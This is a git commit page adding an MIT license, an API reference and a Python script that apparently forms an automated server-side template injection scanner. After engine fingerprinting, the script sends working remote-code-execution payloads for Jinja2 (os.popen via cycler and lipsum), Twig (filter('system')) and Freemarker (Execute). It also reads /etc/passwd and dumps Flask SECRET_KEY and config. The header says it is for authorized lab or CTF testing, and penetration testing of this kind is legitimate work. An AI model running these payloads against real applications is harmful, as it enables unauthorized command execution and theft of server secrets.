mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-07-14 03:15:16 +03:00
Add folder anatomy (scripts/agent.py + references/api-reference.md) for 648 cybersecurity skills
Complete skill folder anatomy across all cybersecurity skills: - scripts/agent.py: 80-150 line Python agents using real libraries (impacket, boto3, azure-mgmt-*, kubernetes, pefile, yara, scapy, shodan, stix2, etc.) - references/api-reference.md: real API documentation with method signatures - LICENSE: MIT license for all skill folders
This commit is contained in:
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,55 @@
|
||||
# API Reference: SSTI Detection Agent
|
||||
|
||||
## Dependencies
|
||||
|
||||
| Library | Version | Purpose |
|
||||
|---------|---------|---------|
|
||||
| requests | >=2.28 | HTTP client for sending template injection payloads |
|
||||
|
||||
## CLI Usage
|
||||
|
||||
```bash
|
||||
python scripts/agent.py --url "https://target.com/page" --param name --method GET --output ssti.json
|
||||
```
|
||||
|
||||
## Functions
|
||||
|
||||
### `test_ssti_detection(url, param, method, headers) -> list`
|
||||
Tests 7 engine-specific payloads (`{{7*7}}`, `${7*7}`, etc.) and checks if `49` appears in the response.
|
||||
|
||||
### `identify_engine(url, param, method, headers) -> dict`
|
||||
Differentiates engines: `{{7*'7'}}` returning `7777777` = Jinja2, `49` = Twig. Also tests Freemarker (`${.now}`) and Velocity.
|
||||
|
||||
### `test_jinja2_rce(url, param, method, headers) -> list`
|
||||
Tests `cycler.__init__.__globals__.os.popen`, `lipsum.__globals__`, and `config.SECRET_KEY` disclosure.
|
||||
|
||||
### `test_twig_rce(url, param, method, headers) -> list`
|
||||
Tests `filter('system')` and `file_excerpt` payloads.
|
||||
|
||||
### `test_freemarker_rce(url, param, method, headers) -> list`
|
||||
Tests `freemarker.template.utility.Execute` for Java command execution.
|
||||
|
||||
### `run_assessment(url, param, method) -> dict`
|
||||
Runs detection, identifies engine, then tests engine-specific RCE payloads.
|
||||
|
||||
## Detection Payloads
|
||||
|
||||
| Engine | Payload | Expected |
|
||||
|--------|---------|----------|
|
||||
| Jinja2/Twig | `{{7*7}}` | `49` |
|
||||
| Freemarker | `${7*7}` | `49` |
|
||||
| ERB/EJS | `<%= 7*7 %>` | `49` |
|
||||
| Smarty | `{7*7}` | `49` |
|
||||
| Velocity | `#set($x=7*7)$x` | `49` |
|
||||
|
||||
## Output Schema
|
||||
|
||||
```json
|
||||
{
|
||||
"target": "https://target.com/page",
|
||||
"parameter": "name",
|
||||
"vulnerable": true,
|
||||
"engine": {"engine": "Jinja2", "language": "Python"},
|
||||
"rce_tests": [{"name": "cycler_popen", "rce_confirmed": true}]
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,205 @@
|
||||
#!/usr/bin/env python3
|
||||
# For authorized testing in lab/CTF environments only
|
||||
"""Server-Side Template Injection (SSTI) detection agent using requests."""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import logging
|
||||
import sys
|
||||
import urllib.parse
|
||||
from typing import List, Optional
|
||||
|
||||
try:
|
||||
import requests
|
||||
except ImportError:
|
||||
sys.exit("requests is required: pip install requests")
|
||||
|
||||
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
DETECTION_PAYLOADS = {
|
||||
"jinja2_twig": {"payload": "{{7*7}}", "expected": "49"},
|
||||
"freemarker": {"payload": "${7*7}", "expected": "49"},
|
||||
"thymeleaf": {"payload": "#{7*7}", "expected": "49"},
|
||||
"erb_ejs": {"payload": "<%= 7*7 %>", "expected": "49"},
|
||||
"smarty": {"payload": "{7*7}", "expected": "49"},
|
||||
"velocity": {"payload": "#set($x=7*7)$x", "expected": "49"},
|
||||
"dotjs": {"payload": "{{= 7*7}}", "expected": "49"},
|
||||
}
|
||||
|
||||
ENGINE_FINGERPRINTS = {
|
||||
"jinja2": {"payload": "{{7*'7'}}", "expected": "7777777"},
|
||||
"twig": {"payload": "{{7*'7'}}", "expected": "49"},
|
||||
"freemarker_confirm": {"payload": "${.now}", "match_pattern": r"\d{4}"},
|
||||
"flask_config": {"payload": "{{config}}", "match_pattern": r"SECRET_KEY|DEBUG"},
|
||||
}
|
||||
|
||||
|
||||
def test_ssti_detection(url: str, param: str, method: str = "GET",
|
||||
headers: Optional[dict] = None) -> List[dict]:
|
||||
"""Test all detection payloads against a parameter."""
|
||||
results = []
|
||||
for engine, test in DETECTION_PAYLOADS.items():
|
||||
payload = test["payload"]
|
||||
expected = test["expected"]
|
||||
resp = _send_payload(url, param, payload, method, headers)
|
||||
found = expected in resp.text
|
||||
results.append({
|
||||
"engine_hint": engine,
|
||||
"payload": payload,
|
||||
"expected": expected,
|
||||
"found_in_response": found,
|
||||
"status_code": resp.status_code,
|
||||
})
|
||||
if found:
|
||||
logger.warning("SSTI detected with %s payload: %s", engine, payload)
|
||||
return results
|
||||
|
||||
|
||||
def identify_engine(url: str, param: str, method: str = "GET",
|
||||
headers: Optional[dict] = None) -> dict:
|
||||
"""Identify the specific template engine in use."""
|
||||
import re
|
||||
|
||||
resp_jinja = _send_payload(url, param, "{{7*'7'}}", method, headers)
|
||||
if "7777777" in resp_jinja.text:
|
||||
return {"engine": "Jinja2", "language": "Python", "framework": "Flask/Django"}
|
||||
if "49" in resp_jinja.text:
|
||||
return {"engine": "Twig", "language": "PHP", "framework": "Symfony/Laravel"}
|
||||
|
||||
resp_fm = _send_payload(url, param, "${.now}", method, headers)
|
||||
if re.search(r"\d{4}", resp_fm.text):
|
||||
return {"engine": "Freemarker", "language": "Java", "framework": "Spring"}
|
||||
|
||||
resp_config = _send_payload(url, param, "{{config}}", method, headers)
|
||||
if "SECRET_KEY" in resp_config.text or "DEBUG" in resp_config.text:
|
||||
return {"engine": "Jinja2", "language": "Python", "framework": "Flask"}
|
||||
|
||||
resp_velocity = _send_payload(url, param, "#set($x=42)$x", method, headers)
|
||||
if "42" in resp_velocity.text:
|
||||
return {"engine": "Velocity", "language": "Java", "framework": "Apache Velocity"}
|
||||
|
||||
return {"engine": "unknown"}
|
||||
|
||||
|
||||
def test_jinja2_rce(url: str, param: str, method: str = "GET",
|
||||
headers: Optional[dict] = None) -> List[dict]:
|
||||
"""Test Jinja2 RCE payloads."""
|
||||
payloads = [
|
||||
{"name": "cycler_popen", "payload": "{{cycler.__init__.__globals__.os.popen('id').read()}}"},
|
||||
{"name": "lipsum_popen", "payload": '{{lipsum.__globals__["os"].popen("id").read()}}'},
|
||||
{"name": "config_items", "payload": "{{config.items()}}"},
|
||||
{"name": "secret_key", "payload": "{{config.SECRET_KEY}}"},
|
||||
]
|
||||
results = []
|
||||
for p in payloads:
|
||||
resp = _send_payload(url, param, p["payload"], method, headers)
|
||||
has_output = (
|
||||
"uid=" in resp.text or "SECRET_KEY" in resp.text or
|
||||
"root" in resp.text or len(resp.text) > 500
|
||||
)
|
||||
results.append({
|
||||
"name": p["name"],
|
||||
"payload": p["payload"],
|
||||
"status_code": resp.status_code,
|
||||
"rce_confirmed": "uid=" in resp.text,
|
||||
"info_leak": "SECRET_KEY" in resp.text or "config" in resp.text.lower(),
|
||||
"response_preview": resp.text[:200],
|
||||
})
|
||||
return results
|
||||
|
||||
|
||||
def test_twig_rce(url: str, param: str, method: str = "GET",
|
||||
headers: Optional[dict] = None) -> List[dict]:
|
||||
"""Test Twig (PHP) RCE payloads."""
|
||||
payloads = [
|
||||
{"name": "filter_system", "payload": "{{['id']|filter('system')}}"},
|
||||
{"name": "file_excerpt", "payload": "{{'/etc/passwd'|file_excerpt(1,5)}}"},
|
||||
]
|
||||
results = []
|
||||
for p in payloads:
|
||||
resp = _send_payload(url, param, p["payload"], method, headers)
|
||||
results.append({
|
||||
"name": p["name"],
|
||||
"payload": p["payload"],
|
||||
"status_code": resp.status_code,
|
||||
"rce_confirmed": "uid=" in resp.text or "root:" in resp.text,
|
||||
"response_preview": resp.text[:200],
|
||||
})
|
||||
return results
|
||||
|
||||
|
||||
def test_freemarker_rce(url: str, param: str, method: str = "GET",
|
||||
headers: Optional[dict] = None) -> List[dict]:
|
||||
"""Test Freemarker (Java) RCE payloads."""
|
||||
payloads = [
|
||||
{"name": "execute_class",
|
||||
"payload": '<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}'},
|
||||
]
|
||||
results = []
|
||||
for p in payloads:
|
||||
resp = _send_payload(url, param, p["payload"], method, headers)
|
||||
results.append({
|
||||
"name": p["name"],
|
||||
"status_code": resp.status_code,
|
||||
"rce_confirmed": "uid=" in resp.text,
|
||||
"response_preview": resp.text[:200],
|
||||
})
|
||||
return results
|
||||
|
||||
|
||||
def _send_payload(url: str, param: str, payload: str, method: str = "GET",
|
||||
headers: Optional[dict] = None) -> requests.Response:
|
||||
h = headers or {}
|
||||
encoded = urllib.parse.quote(payload)
|
||||
try:
|
||||
if method.upper() == "GET":
|
||||
sep = "&" if "?" in url else "?"
|
||||
return requests.get(f"{url}{sep}{param}={encoded}", headers=h,
|
||||
timeout=10, verify=False)
|
||||
else:
|
||||
return requests.post(url, data={param: payload}, headers=h,
|
||||
timeout=10, verify=False)
|
||||
except requests.RequestException:
|
||||
return type("R", (), {"status_code": 0, "text": "", "content": b""})()
|
||||
|
||||
|
||||
def run_assessment(url: str, param: str, method: str = "GET") -> dict:
|
||||
"""Run complete SSTI assessment."""
|
||||
detection = test_ssti_detection(url, param, method)
|
||||
vulnerable = any(d["found_in_response"] for d in detection)
|
||||
|
||||
result = {
|
||||
"target": url, "parameter": param, "vulnerable": vulnerable,
|
||||
"detection_results": detection,
|
||||
}
|
||||
if vulnerable:
|
||||
engine = identify_engine(url, param, method)
|
||||
result["engine"] = engine
|
||||
if engine.get("engine") == "Jinja2":
|
||||
result["rce_tests"] = test_jinja2_rce(url, param, method)
|
||||
elif engine.get("engine") == "Twig":
|
||||
result["rce_tests"] = test_twig_rce(url, param, method)
|
||||
elif engine.get("engine") == "Freemarker":
|
||||
result["rce_tests"] = test_freemarker_rce(url, param, method)
|
||||
|
||||
return result
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="SSTI Detection Agent")
|
||||
parser.add_argument("--url", required=True, help="Target URL")
|
||||
parser.add_argument("--param", required=True, help="Parameter to test")
|
||||
parser.add_argument("--method", default="GET", choices=["GET", "POST"])
|
||||
parser.add_argument("--output", default="ssti_report.json")
|
||||
args = parser.parse_args()
|
||||
|
||||
report = run_assessment(args.url, args.param, args.method)
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2)
|
||||
logger.info("Report saved to %s", args.output)
|
||||
print(json.dumps(report, indent=2))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user